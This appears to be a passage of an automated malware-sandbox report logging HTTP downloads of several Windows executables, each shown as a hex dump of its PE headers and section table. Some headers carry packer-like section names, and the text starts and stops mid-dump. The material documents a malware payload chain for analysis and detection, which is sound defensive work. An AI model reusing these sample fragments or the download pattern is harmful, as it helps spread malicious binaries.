00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 21:53:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 21:53:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 21:53:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 30 Nov 2024 21:53:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 21:53:13 GMTContent-Type: application/octet-streamContent-Length: 1892864Last-Modified: Sat, 30 Nov 2024 21:42:00 GMTConnection: keep-aliveETag: "674b86a8-1ce200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 4b 00 00 04 00 00 a9 c1 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 20 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 20 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6d 70 69 6e 76 77 6e 00 d0 19 00 00 60 31 00 00 c6 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 65 66 64 6e 67 79 6b 00 10 00 00 00 30 4b 00 00 04 00 00 00 bc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 4b 00 00 22 00 00 00 c0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 21:54:19 GMTContent-Type: application/octet-streamContent-Length: 4470272Last-Modified: Sat, 30 Nov 2024 21:27:14 GMTConnection: keep-aliveETag: "674b8332-443600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ed 4a 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 00 47 00 00 66 77 00 00 32 00 00 00 c0 c9 00 00 10 00 00 00 10 47 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c9 00 00 04 00 00 b2 e3 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f d0 74 00 73 00 00 00 00 c0 74 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 a4 c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 a3 c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 74 00 00 10 00 00 00 32 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 c0 74 00 00 02 00 00 00 42 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 74 00 00 02 00 00 00 44 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 39 00 00 e0 74 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6a 6b 70 79 72 62 6f 00 d0 1b 00 00 e0 ad 00 00 c8 1b 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 66 64 77 6c 7a 66 64 00 10 00 00 00 b0 c9 00 00 04 00 00 00 10 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 c9 00 00 22 00 00 00 14 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 21:54:32 GMTContent-Type: application/octet-streamContent-Length: 4429312Last-Modified: Sat, 30 Nov 2024 21:29:53 GMTConnection: keep-aliveETag: "674b83d1-439600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 f4 47 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 04 48 00 00 1c 76 00 00 32 00 00 00 80 c6 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c6 00 00 04 00 00 07 36 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 80 73 00 73 00 00 00 00 70 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 63 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 62 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 